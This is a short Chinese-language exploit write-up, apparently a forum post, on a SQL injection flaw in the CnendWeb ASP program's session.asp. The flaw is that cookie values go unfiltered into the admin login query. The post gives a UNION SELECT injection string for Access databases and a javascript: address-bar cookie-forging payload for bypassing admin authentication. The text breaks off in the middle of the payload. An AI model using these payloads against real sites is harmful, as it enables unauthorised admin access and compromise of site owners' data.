漏洞文件:session.asp 程序代码: if request.cookies("CnendWeb")("admininfo_loginname")<>"" and request.cookies("CnendWeb")("admininfo_logname")<>"" then set rs=server.createobject("adodb.recordset") sql="select * from [admin_user] where username=’"&request.cookies("CnendWeb")("admininfo_logname")&"’"
……
if rs("password")<>request.cookies("CnendWeb")("admininfo_logpassword") then
……
得到COOKIE里的用户名带入判断没有过滤.MSSQL的利用方法就很简单了.说下ACCESS的. 构造admininfo_loginname = jackal’ and 1=2 union select 1,2,3,4,5,6,7,8,9 from admin_user where ’1’=’1 查询出来对应的password就是4文章可以看下前面的雷驰漏洞. 简单构造下JS,IE地址栏运行,再访问后台就可以了.MSSQL会报错.TEXT和INT的类型错误.自己处理. ACCESS: 程序代码: [ 复制代码到剪贴板 ] [ 运行代码 ] javascript:alert(document.cookie="CnendWeb=admininfo%5Flogname=jackal%27+union+select+1%2C2%2